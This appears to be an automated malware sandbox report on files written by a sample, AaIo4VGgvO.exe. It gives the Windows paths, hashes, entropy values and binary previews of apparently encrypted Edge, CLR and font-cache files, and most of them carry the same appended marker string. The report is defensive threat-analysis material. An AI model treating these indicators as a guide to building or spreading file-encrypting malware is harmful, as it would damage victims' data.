C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.828407169708497
Encrypted:	false
SSDEEP:	24:zkRiuKeWHoUpqkug2peCctDHFGlSXrQqpUSa+8unOJmzK7bD:63KWUpqkn2peCcmQXEzIOJmW/D
MD5:	C0C9A9F523588C9A42B704C11A1EECD5
SHA1:	9165235CD0E3848A737F249986B00D43CF280B9E
SHA-256:	663AFDBF5D83E869ED3249BDE2DBB39CC6E8380232C4199E5CA3643FCA9D3230
SHA-512:	394EBDD465F29EC32BCEDF45B083D59B0B8767507C5F2A6C1D21216EE251E8EB091C0F0AC651A7128810CD20631FEE74A8219DC6BEC6B625AF03A84098216B89
Malicious:	false
Preview:	1,"fuXI.....:..=..a.......m..x...+.?...X6.....p.dk.M.P..t^.H......!q.hPe+..ap E.....4.).A......ZF..zV...9.@..X.J.E.$.7.....9..b>.w7....o.....x...V,t.a..:..2..S....9e..!9QQ...].D........9....[<U-.I.}.^..3.......l.vG....Q:e..x.....8.J..oX4.....M...h...4.5.}.Tk.?7.D...........}).y+........f.x5W..p.o.`..M..k.`..,.D..O.T"s5..%.FP......w}o..P..$.$..h7G.B..(..A.'.$=r. .-H.-...e....'..].V........&!.@.-....o.T.gi.....%c/.....@.?..T....&o*.#...Da...?m.j...%.E<E.....I]..-jY.V...u`.U. .s...]...,sP.&..Y.f.k.?...3...e..V..<cp.......E.3x/..4.!R.W.}.k..}O.sK}.7N..kD..YJ..O.j:.3.v.>....XN5.=..8jd2..!.b...u5.w...V.r(,...C.T.<....,.:.?.#3.lM)}J.j....m..^..E..!@@....g). $..)\D@t8).+Q.......;^3'(../.%R..2.}>3(.N..?..0.T... ...V...'....{ga\|AX.......6...4..h[2.i{........$(9.S..]=~._...=.@OG...v.:.P:...q.Z..~...Y;.u..u.H`..C.2G.{Jl....lX.D...2....S.[;.=Ye..hT..\|\.!\.g..r.,..w...F.s.59...TE..,.T=B)=3F.%.o.v.1.....i.K8..O..{......... J#d+\..!j.DS.A...s&.....4..z

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988175521408359
Encrypted:	false
SSDEEP:	384:eFsgpn8I/UvWDaT/FESiTNXGDV2KqAkTH9G7QXSy:osgpn5/Uvxzi5Xi0w7QXz
MD5:	F0C62D9961BFD1DB6FA2CB3D2F87C233
SHA1:	657B6F991C707513100242CE8B4BEBEBE3AECD09
SHA-256:	516CD7019CBE41F70DBE461432BCC792B6B73FD30D9F5F679944C5523EA580F2
SHA-512:	7C6500F8A35EFA6595C6CF678FBC1BC56742BFEB6C5AA585AA33408E87C4192BBDAD3CF64A8B844DE0BF2044C3F6C0DCF64AAB6252D6F390B353116F003D61B2
Malicious:	false
Preview:	...@.9,Y.. e\....a..)%K.k...7....zn...Ha.S.._.......{2.l....aV....0.:'.>>..U(....m..^..~...ma3.IY.L......X2OC.N:.A.U.C7%...li.#....._../.... ..!..~.-a.e8..5.S..].g...!.....-.....Cu...Z".i./.....V........C.o@<{R8.4......[A.K+..:......=..=.Ua&..N.f.H.`=......+8~d..z.r...7N.^...bz.....F.....,...=.}.K..2.k...........y...)l\.R2..0....OL.Cv......m[R.9......X..'.8...,$/E!...5iP....(..{.)d.%.....+..q`u^u...L .5}%.Z.ee3".../........u...,.Q.x...+.'...g..S!.....Z..,p..P...-/m.f.a9....?...w.*F....6.X.k....h.Z5%.:.{..i.f.e."......}........N.P..G...s.Q..C........O.[h.....!..S!.T..1..hcTw.Y........>.W.2...q..k...M..f..J?.....f.....7..JHM.g........t..(. .Q.9....>..6Q^.V..0+.\|.f.R$..5.`;ii$.........^.P.]iV}OO.l..Vma....0.sE...v.4l..&IK..gF.<...42JNi..H{3...ms.J...T...r..V.p...=.E.4.C[.4..%..?}oU.......p.....`0..r.....[.<m9Q.+..RX.._wb.9.....!.N..q?z..l4.....~.r.&.x..pa..S...a.m.0..nC.n.. o+{XK...y.....Q...q$..eQ..7.b2.pH..h..y...d....../J.../Q1..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	904
Entropy (8bit):	7.755633849738956
Encrypted:	false
SSDEEP:	12:qrQJW6Ao7mIMvEcbW16s8LiW8vbLHCTiV5BLLWVqPpBWThsd4E1+cii9a:IqyEkVYbzjTFpBWC4fbD
MD5:	414F6A4292C70D3FF04472BEA30C1803
SHA1:	921AB90305A2E6B250943FD0DE4190825BFEB3FE
SHA-256:	41C42B984B26384F7AA664EBC026FF90300B771BF1E9942EDC281005E6234B2D
SHA-512:	12BCE3BB799A4E5D1292E3B296B9E350C36B2C2BB212C0205D30EDCCCFBFA3CC7ABBCBDAA80A15C743D6F539E20A845837CE8FB3C58A48501C2AFF76A9B86D8A
Malicious:	false
Preview:	.f.5...:^V.m.5.%...]WG.<..5.%0.6r.aY..5.V?..)......'..~"..l..J#.4....={.....5...(%.H".R]'2.u)..[}...1....0.j.~.A..W..E.5...\|y....<..+.(?.@...Q....D...z.~...j............9.4..'...0oz5">f.....WS....A.............d.D......\|.....Q..>S.p...&Z.........7.@.;..&/..xq6..I<.BMM-.m....!..Uoy.....6.aGk.O..Y....C...t..;.1........s$Qw.....6$>..Z9*xY...Ty..9......3.:...'q9.Rg.......J..osG....H.W...H.2G.`7.u8..6.xt.}..2>.W:.....%....5....mS...8....+......t.d...y.......-7nK .M?.{.NW.Y..a...+li.(s.t..U..4@t.b&K..IJ...~..E.+..g.......2.1..f..\d.=.I..v.m.r.(....,..jb..&..\|,...JX..?..H.~.z^.R.k?r".j.,.`.].rQ.yX....-.^.(;..8?5u...SKz4.8=B3`....@...v.U..f..Um.`........Rj}.f...!%m`l..(.....~+l..$.\|.z;.w...&2.!..tj.{..H..~6.m....../..c..k.3M.e.f......k.....".s@.c,8..5O.K50F.^.(.H....g..z....G....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	490
Entropy (8bit):	7.528259485208628
Encrypted:	false
SSDEEP:	12:Sg6h98JhSn3uVuhv9uB9EzMGa3blL9VY59Iq69CHI1+cii9a:36CZVuhvC9E4GapL9V26ubD
MD5:	77E390AA463E09CBE7713FCDEB49FED8
SHA1:	79F9D60EB2F8F507D0FCA80677FC73A899B80689
SHA-256:	8ABD7851EA345AA9416F63DA361F679E2AE20530A5AB7B171B064E40DDB00ADE
SHA-512:	1748C4136E04674756E6E3919E971839795F47C497ADAC79D76CFA0D47684DB606BF39DC66E0A9877DFBA5C3AC775C8D9CABBDBAAAF0565E391FC54241E2D265
Malicious:	false
Preview:	...#.F.5.J?....=.9.....1V.=/.U.E.G%. ..PTY..+.dC.'...rMf...5.....6..x%....[......-.h.R..*.Mq.S.t5.@.S....W9..t....n..>C/.,..A.....8+...(..&.-.....m.F.P.....k..}..Kl..`.....:.d.j......g.s..+...u..."..-...{T.1b......R..VB....L...8......o.J....?7.,G.....2}v.0.`......;!G.@".7..l.Z..r h..'....K_$T..xB.....u..U.K....T.3....'.~<..;9.k..?q.)....x..... ....<I..7.....+..so.....[.M..x.-...).s.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.360156292869392
Encrypted:	false
SSDEEP:	6:xxW8UVD18u8upWAw2aq/YugLbuRDM3IGJI6rsc+xlRD59UcWyc3cii96Z:rk18lA9/ka1M3IGJxrsc+9DHj1+cii9a
MD5:	C5AD0ECDEBB2A6800DB5724F80C8E852
SHA1:	46F67DC01A5581EA9C3DA8C3F8F5DEAF517E608A
SHA-256:	E49B8F15FDC41046A1921A666370CBA74A9BB670E638E5326F9B404441612754
SHA-512:	54442B1633B192FFA5C4BB3B188B09DAEC475ABED35C9FE3DF1EA5233F93F900E855FF42A63174B77C33C475DDE4A1A0A78E7C468865D45EDE72E5BFB0C3D7DD
Malicious:	false
Preview:	.On.!.~..'e...=.Y......y/.p.dOJ....Ae>..R c.7[.EQ......\|...$.V.-+.$O..... .=.........k.T..Y..f&.ULJ.......U.;C#.U.9-.E..5..1...;L.6#.Dl(...p.k.....b..Y...S.;..j\|6...=.%.'.#...J.r)H..^r.....D-.<...D.E..h......\|.L.A.h.,...;{../.lf.......XPm0.*)<.[..z....y...x..j..+Fgt..4...m._.B.-.@..zFp.2SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.690641161076034
Encrypted:	false
SSDEEP:	12:kd+gCPczxFk7ckvKVFw1ASmfBxA6IqFfrutzIeFiArpOtrcdPUge/ajTv1+cii9a:I9AcF6TKIKSm/WKrueIiQpOtrCMF0T8X
MD5:	6ED8A3F355682F7A6C91469A8E48A96F
SHA1:	9D45B631D64B1305D3F7241A5CB54A794FD85693
SHA-256:	3368E7CB6A23006D66A6645089A906C2C140FF4DCC4FA83E01FB0877D5493075
SHA-512:	422C27235F275C9788F3402B3DEF73CD825735AECF9179C1B346C814B338EDAAFABA81CB56FCD874646235341F09C5EE5358780291AEFDB57EF46D70A7F44CAE
Malicious:	false
Preview:	2023/ua.P.[.H..`.T.C.%t`..L.;.9].q9....1.......%.....R.......{.A..nGF.w..uAJ6..[..../..T.J)b#..&..L>.gBTp..WoU.......8.+.......k.... @.o..B..E.....d...?fl.Y...i7*CU0Q..Rr.F...0..@..o.u.........n..~...NHF.{.&bD\|.......p..)G.0M..8.....G....up. J......v.(+..V....P.......m>).......-.m.E.......YH.O^.G.i.t..D..j.I......S=..$.D..K>..K...S6}...........2U..).-.e...K.1..o.M.F..f......bW_..\|.Pv.,.M.-.D3...bR4.-.R..f9"...S.v..I.m.o....r......l5.m..jl..2..8ME...J..z-../...TS\..1{..U.7....!.1OB...uO.2.y.......8.@..N..<;...h.........,v.Pw...4.....UG.L..!..ln...R......<.B.CSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	129419
Entropy (8bit):	7.99859764308836
Encrypted:	true
SSDEEP:	3072:Y4uyt7OXnW/N2YcUcKgpSef34k1K60uhaus8+0Nix+rf4:YzCNDc1EeSqaud9NiCf4
MD5:	FF6522BC0155D086BED682665B2EC95D
SHA1:	4C196F2BB1BDCDB847DE3E7571B6DDA53A26FCE4
SHA-256:	8D41C8ED672986C5222F010AE83F4FF97A9380A817FE4D04332EF787CE2838FE
SHA-512:	ACBCAC8A927FE84FCA911C9D7D2053222FDBEA1C18F7E861FE4E28ADAE5FF1BE4A6606E1CAF8350E01E10C6F2C49A03EB3AD17693B5EA6D3D2C84C929FAE0DC5
Malicious:	true
Preview:	{.. /.....J..\|...1W...Y.....V...a.oB ...Z.e2G......u2!B.....%...,...Y...S..##l.....aL..n.K.j.IVWQ~...@.5\O..[s."P.,U..y..zW..Y.&Ep..9yV'k%0cN.SH.:...B.~6)..].uS.....hx}j[d=.z%..iK@.7^>M..Q.e.....\..L.........x....(.>L..H...D~p...T.IB9YyU?Sb.!.QY...."k.x..{".'Yy))......dt."xe.e.T..O..3..N......yW.4.74J.P.~1.+.`......[..Gao3.....7f+.b....Y....\|h.us....Z.0....%m......t...\|.).M(.R.$..K....B.;C..Z...r.&.qP..T..\|I...C..4..Ci.{...d{B)A'O......g....l.}^......3.D.qz.0..v..>k.....l.^.......E.=...1^..F..}..V.u.~..1..._5kb^..U..=w...H._..n....!...]..l"..`.`..#..5#....^..U.h.o.#...y..U.[....vn.-x%.R%0.).."....N,9.? .^......>..S...hD..bFQ!....LL..0l...\|.&S4.A...Fo....y.m.......Y.\|..gY.p.p....?H...:_..a=I...n.'.Q..u"...e\|...W..\|1d..n......x;:R+.b..s..bh..Z\|P....8....}....w.g$Q.ZU..Ze..A.\..m.....n*.Z......T.h.(.-.[-./7.2(...l."....m..h.e....f]....L"..i.;.Q..4."a.~.........{.;.B7w...6.<.M....x....hu.V..>.....+^..qN..QA.UL.6.<....=0..X.l..\|i..o...U..

C:\Users\user\AppData\Local\Microsoft\FontCache\3\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.9780577886484565
Encrypted:	false
SSDEEP:	3072:e/dVVZb7JFJfSQ7YWb7QLt92XSDJQyQdOgAvd69STpMLiW8BK:e117JFJfSOXSDJ82deSTpPW8BK
MD5:	F9F6FD2BAA832ABD48EE98400C1D00BA
SHA1:	3CD23592A254D58284448D562451DBA8545124E6
SHA-256:	AFFBF8E11A80176F1713EDA1A7DEFCE1A9F783240773AEB125B62A9F351D8100
SHA-512:	938FDAA4EDFB2648E06C715B6E43EF9A53A203926D0247E68D576276236D32C0001F186F1E577D44314916E1ECE1B41BDEF778D9AB83E814F31B60FDAB8315E6
Malicious:	false
Preview:	{"Maj.kIpB.3............\|..).5G....f.. Lb...9...=?X..?..^YR...~......r. Ym&.@T....f.pM...g.....z..w.6.\|...Z.`D....1....A.2,..9T.>.WSN..\|.X.O.0..].Uf\d....jM?.x.C..8.7.......X....[nhR..5...V...u4WtB.+..L.o...7...'..Y5..hsN+1A^.P...?9"..$...z.bQ].\..X....U..fa.....D.E....`...MZ;..miJ.a~z.........4.+.\|...H.>>#......t..A...=.&.B...#.s$..VP.X.7..U.L!......8......t....V..0.:.h4......]...bV...'..m......l>..i.G...+....LZs.)..z........\..L.M.........J..,.. Mf..r.JA....J-...C.\|...n'......n..'._.T...:...}.."..../..w..vZ.~.5.<.@.....1..9...uY.j.S.....<..R..[.w..L.....9C..........#j.@2..L.BS.=Df..Z.......H....Af.dkOJ.@..:...A.c.l..."......=.....Aj.3..F...R.o..R. . ...&...I.5..`.\|.3..%.R.G=....!...Q&.....;..A..s............r.1..\a..8:t....=9.q=.F2.x......19.x..q...A.CXtK.9w..@..+.cQC..[.k.....G.I`...K..B....z-....h.8q.W.bU"a.[.'2....X.y2W..........p.qR.1..#.../R9.V.k..:..e`...c.zq...E...h.g.Tl..g..np9^q..G....F)H...<.Y.Qkg..... ./C....

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.9030639299490835
Encrypted:	false
SSDEEP:	48:eu90EtNQ3Q5KKxIr+/FdbM0V+ntP6cG/xhYuB74DlQpA5/ykBD:eQRc3zKeEnM0MP61peul4+pwXp
MD5:	BE196A50BC5DDA09DA4152F340CDE537
SHA1:	09ABE44A23724717452A1E10EBCC7BF1A930F9C7
SHA-256:	DC109C3A656C079289E471D1BCE87097413661E38407A4104B8342448A676684
SHA-512:	4C25096AAA6F55151F03256B29F5968E5A861D4F4B44DDD25AED30F5B9B0AC9E4BD57FED714789F43F773D25544CEF6878D9B82E780ECFA7122AEA00EBAF9D85
Malicious:	false
Preview:	<?xml...^.s.4.......2F....W...F8?+..3.Q.%.x..r...Y.E.\..j........h.S.k8..Job.t...4.:F6\|..._1........M.A.M...fl.F@...[dk..j....q..L$..fw...b1.....;j.T.B....."H.......b..ld....S.N.E .w.n.~...E.....v..........Y....Cw.....O.....I..`ff.P.Uf.<J.4.._d...m.x......-E...~{..Q..NU.I.(...d..#2&..Yl.{..k......1Yr..F.....f.k#4...M.i7...5..E....L.......O......'J.>.....v]...uL.KE.[Q....d..Rp.Zh.t8....f`I...B/.v.gJXW.xX).t......h5N}&..k..;B..1Q.; ...Q....:h..3.$..Z......n.(H..mcJ .Y...!h F...Af..-.%...........f...^N....1\|%..{0).2.tO.D..)\c.f..z.P...D..@+.....".Y5}Rj.u%.,....&.w..m[enJGlz.QO.Hf....6..1R......._.....m...kl).[.4.X9.1..T...ED.....1V5?+..C...b...F...M".q...B.j..B...IZVx..?.`..0.....?....;..}#..D.Vs_Q......R@....9......#.B%.s....x.:..@.r..... ......U......o.b../...&1..f..)...}....t...yO.5.J..:.0.h2.iD.. .......Y:m..e.V.qz....U..(_."#..fM.....B.s....Y.I.gA.\|yKm$...^I......SLm..{ClQ1.........~+...lr..s...X....Y..%..>.E..#.:....}../..M.W."=t .....

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	238254
Entropy (8bit):	7.232671589531984
Encrypted:	false
SSDEEP:	3072:DmGdAFjjksx6lYbwPNYmy9GufkDS+lmqmTvEGU310BukIa2Nppd2z5f9F9CNAV:QFrXgC9Gu8vmqmT1i1sAaa/dIDiAV
MD5:	2CF0FC00AF51B39D1F00445D8FC599A0
SHA1:	7F70C6516600888B26CE1B9E5BF98198A4A53920
SHA-256:	A8B57E1608CAC094173E71EB232FFE90BDDEE02E5678342F6961A12CD4FF4037
SHA-512:	43613E9A517700CDAD1A5DE1EDED14DF78E787ADA90BD974F2E1849CF14CB4888BA7598C5404B6C30C1F10F72CB1547A3DF16A1C7199D61CA996B13424A2B601
Malicious:	false
Preview:	.......SH.......................g..E.h..w.d......=. Nl.t.A.h.^.jh.F5..X#'L.%.A.!. ....$.0.e~:....zi..j(:..k.m%.E......q.:..U.>.$`AU...:..'..[cZ....G.Y.l.BNC.D.....U.>....K.V...Q.s~.......].."._.hn.)..B....,...#.....U..<C2^.b....}Yz.,..(..-Hr....;j..BNBF^..7..{9.....g.R\|o....xp~\1..}.pa(...(..P...$.<.4q..W.... ..2.>.......q......G6.A...I..+.....N]...R..n...."......t..2..]....h.U=....L..Y.m..{...z_h...G6=...[....L.f..b>M..=.{.U.+.&.K.......:...9:.J..F.WZ.y.o..jOv5O........4....OD.T.M......?`..?A.'...X.s....+&E.$.'t...g...i.sJw..Y.>r...F0l.ZM..b..........,0H..R...1.J.CI....Kp./.......R..>.=...!.LO.i.pV....u..R.....g.\|..u\|9.......>.>.r...l.*.@AX...a.....P...........f.[....`I.8/......@...n..YD%...#w....5;.ec.cY...~.i..(.OK.V...,o:K...}.G.n."..H.....8.......S._...9.OdPg..AA......K6..)[...#..dA..)!.-.XB..!s}....+X[.;..T.Q...#....W...!Uc...gH.fk.U...[...0N4iZ........Rw.h.`....K..$...\Hm......vQP..}d..}T.w]....d,.T.( .....s...P.~D....

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	240882
Entropy (8bit):	7.262797476907475
Encrypted:	false
SSDEEP:	6144:KqiBQEB2isZwCWKp+6ifZMkJ7STJUS0T6YusEpRJ:XiGEBKwCHHQW6OB
MD5:	1F8B58846D15FE402B4A170489E08991
SHA1:	F44B67F79DAE17D86C65169276D4BC0C3483E799
SHA-256:	27611066E9D6A0BA62FF0FFEE36FF71E83524723D3663554D0569FBCF9772290
SHA-512:	7847A25B05ECF79C3A42473423EDA720B2505951B8CAE65C382387A1BB945EA7B7C4D73CFC0DF72A4326B0D0E7B0202D4EC6FE28340F45E00FE0BEC44D890B30
Malicious:	false
Preview:	......:.k.........L?6..k.s\|!.J.....9...A.../.A8..8/..Z.T.a...AC...N...]6.6.^Xb..`...%.Z.IIX...e3.;a.(.l...r..D7..u...I..../.Ib91..Q.N..U.`..)jf...>..g..[lC.M.ph..a....0.,..A@.......+.O..`/:C$`....h5......$.......V.....V.a......U.)z....P.....0....!W...5....l.+...i.v.[y}........X.V%....%..NB.2....'P......@....%........ Q&..p/..\|.E.......E.&.M.U........x....+N7....C..'..>.R....../nm.r....k..+..d.>..K...^...V(G...r.9#......_...>...R.m..r!..h)..>2,:..&...5.?..4.g^h....B.Y......7n......:..f,.I....p.YlP~.\[.y.!<.._....I.~..5W#.."..\.`.c.Vb..s....5..r..V...B..}F...).....1_....-.b$...W.=O.F.^=...w...d.......B`.x....<.....aa..x...uK.R.v.A..N.......$.......z...Y.l...D..a.].s>...F...v..../BZ...kX.m......s.g...8..@.Z...G2..........&.\|.K.0..b..^l.....]...n.OKg...6NW-..Z...J.<.4.Z.}......jD..{_... ^..9.H`...(.z.... ...MR....#Al-.@.._..ptj._.}...a.w.\..9K;bfNJ...cw..T...?.B>....ss{..>]..L5.....s<....:t.u.<...M..W.R...ps..E.G..$...C....8.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	241750
Entropy (8bit):	7.259533445694302
Encrypted:	false
SSDEEP:	3072:O4Yxljxn3gdhPh0fD6CP+cIbZBMP8DTVoI+TpZRsAR7JDE33EsWTqPvnhYbiqncm:n0ljx3ShUD6CP368P8HHapNM0sWSvq2S
MD5:	F90F2C17BB0E3DC8CC83E5B46C4321B0
SHA1:	BE33BF4EA60FCAF3F421E1D8CCA3C951017E374D
SHA-256:	F2CB80F60CA9AB2DC9A9FB63CA6B54719E83CFAD495D90621BAB6BC70999B067
SHA-512:	98AFCC99F45E29BE4EFE8CD6041DCEDF605DE7A47E112B51107CF158DAA46B7B9EDB20813E175B248668F5A32DFB95D5320AB7AA021E9A27AB9C3747C2E69F03
Malicious:	false
Preview:	.....ZDfV...<...:.r.Mh_....G..(9h._.k.I......d....).y.2.`...[.6{...g....M.......0^Hm'......B.1.".O.B.W..[..S......y..i.t.g.h\|......q..2.!zL.P..\|....1y..m...{lXA..b..f].....4...`...7..bz......}..Ej.\............\|..jy....U(.p...}.........Q.z......t....i....>......=..N.oy 6.....,V.....;..8.......V.7a#..]..kO....u~B..D.%.=_........EyA.9.A...R..z..j._.......n..2.`..I...r.Pn..H.p..f3!A ...fVV.{.......L-.W.....].h\|...}.l......k]:do.....y9a].(.&G.F....:...m...u..........8.h:n...y....k<.....U..o..6.-~...2?T........ .<.Fv...g.E......Ldz..\|...P.o.L.}KGL.....^.....zL..P?i{..@.....?....1..ryZ.....:...L...G.I...F.;......t..c...C/V..ki;.U.3RL.W...V@&W.+.cdm2.o..q..8...h..z.?.FZ.$...=f...2.=b/.....m.%.1.F0w.!].Kj0.....D.3....y.^.....@.b..Z[`<.[M..%..G...s.;S..TE.e.}Z.F.B.w.).q,.W.?.v.y~"#...X.{[.:.eW...(.\R...z...%.0...*Gjo3x..m]...Y8............QPL.I..ge......c6#.i...s....c;~d.]....-0.R.;j%..a.\9.io.vM..;.$A8..6:&....'^....8}.._.s..n\.(..._G..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	238962
Entropy (8bit):	7.233116017534862
Encrypted:	false
SSDEEP:	6144:va6etYjn4cXTbhf+0K5SCVX9lgG2EaPxBvdb/tDpAk:sijn4cXfB+0WvX9OG2lrdpqk
MD5:	0488A0BD30F41F893BC7070B23BAAE82
SHA1:	F9636A39BCEFF389B03704E53EBA14E449669930
SHA-256:	3A21E5FF41BDA859E32F310978126AD743D3DA5476999EFE81C83E0EA33BC5BD
SHA-512:	873E3348F087BE1DB6E7F34F5CAE73CF82E31D60E9EDE39FEA597EA9F2648605D8B74B8A4A99F2EB050771FD33642BAC0C1B7746065781C0B014CCD27E82BD8D
Malicious:	false
Preview:	.....17}.....^...#.#...x....c.b.b.;f..HlY..e..I....N.).<.....k..JS.%.'.G.@..)...dcK.%.6..A..K.\...p.k...DmX.'..n\|m!.2..../....p..nL.S....y..)<...V?.D.q..L3&.0.[...,..<.=zu,O......h...`.^h.$I...$..N.?Rf.z...w\....5c..\....]9.)f6....=....96..#..~..A...c...k...N..j....o..j.k<.V.[&..k/.D.]$....._...Q.=C1.U.\.i....1.6.@..yU,..P0.@fV..2.x......v.fw....#[.<F07...[.......i......~..... ].FU...>...K.=f].j.=. -.qr.B.$.[.z.Ox..;<....+E..+...).........J.J.A....x!..L..i.s.....t).t....[K.....h[.EE8 ..`5..'.._5...]...-\|.p.'.J#5..1.....KZb.l...<.nl{..B...\:.r?.{-.=.v...c.&....I.&......B@....5'..~......x...,o..M.4>.....[h...#8 ..O?.d.L2.j...n..B....?.L~..9...I......3..A...!.z.C.$.[.'.3~{Y...[!^...)6G.7 $.\....-...?..2r6.y.~....k...B...,..v.o.o ..o..,03".g..UZ....9\|."..!....r..Mh.y....\/..u.Id...F..2f...9...5.BS..y....Ql.....v.KW.TJ......z......Wj..Sn$...S.].G..y......2...X..p.(...O"X.m...K...5..j..-..:..6...ni..o...(&.y\|..e..W...g.......Y$o..o.?../Q.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	237902
Entropy (8bit):	7.239470948992918
Encrypted:	false
SSDEEP:	3072:4OqerPOunzMN4F03n4RkFO1yd/qcgZppoKTmz7GfWpxLI/X9f7paL5VNVsQ9SM42:4OtPOuv034QyOCnTpotGgIVqzsuV4icS
MD5:	DFDEAFB4A90AE6EB834D369319D60E13
SHA1:	8515912E90BFFE643200442B8E839244B77A32EB
SHA-256:	D0D4205B4A3E5F40CE92C167FA14842E21443330E1C1593602F90FF2719DB670
SHA-512:	ECEA459246617B98DEA28D407EBD593744FCDC07EED5D528D5ED50F0D16465DFCE344DD615F20E6D7CF1D41E7A3533E21E35BFEB04964405CD89DF74E987FA0F
Malicious:	false
Preview:	.....#.k.2..cA.?T.....8l 5.:X.....=..m......".\.u.....W-.?.\5u.....!)."....:$rO=...5...)+F.N.v?.:.$.2........r..k.a..`E..........B.~<(..".E..0........(1...DLNA.E.a[SU...cg).S..:.@g...a.....).uj.sngJ"...5IB.W2.p.,....A=...H,..-..=yf>..k......a_....v?.O3.^..i....P..e"\|.._..r...<..3....rf?...<..m...t.'..=..I..t.P9}.,...[....N..?.."r.."\|.@t..- ..'..a..y%..j.iL...Z.E..n.i"...S/..s.!">.....k~..J.Y....GY...#:.._q....}.5.I7.T^.Mf.x...n{,K....S]Klp+.[PC.GG.o9..jnY....\|.....7....{.=....F.....r.0.$.....K..u..o....S.O..4$......w.{....&..Y...hH.j..0.h..`....].....Gd.T.$Jx^yO...U....L..R......I..DCh ..'o/...@>.C....t2....<Z......E....O.(...L3amP.>Y.D.._4.I..#.0<...Y(..T...R.\|..fB...........!.b.g.\|.=w?g.j.e..p.h.,..6.B.&~6..A...t....@8.a..@WNV.Qm0.>..8...V...l..b.SM.....\.3..<.4...U...B........+..}.q.......P.g..1.w..!>..Gz.P....L..q7d.Os..2...cf.....s.l.........W......P..........r.Z......E.....?..O.+..D.......N.M....+..L.@0.....\|r.s..7wu.......\|....&....`H

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	241378
Entropy (8bit):	7.260766507404836
Encrypted:	false
SSDEEP:	6144:8Gk9ufiId3qD0TUy9HJEFUsjcnpJrYtYYncIasMOphDtPcwBJ:c9siId3qD0wqJ0UskQtYYncBgJtPc0
MD5:	BF92E1EB70D79FE7C47E8BC51BDA9FFC
SHA1:	EB5AA37AA6A6D3C2BF2AA628CF8C5883CDDBA810
SHA-256:	1CA0D3D3274A2E75C313BB7D6A0319129F3FF145440535D517EB25ACF82BE3A4
SHA-512:	CB3A6D2658D764149BFD62880D52041D8648AA66AA53BBF6D65FBD5F27F701B431E3BC58F19B512433D8CFF54AC0F605218358EF1E5F739EE6721DDF61ABFFA7
Malicious:	false
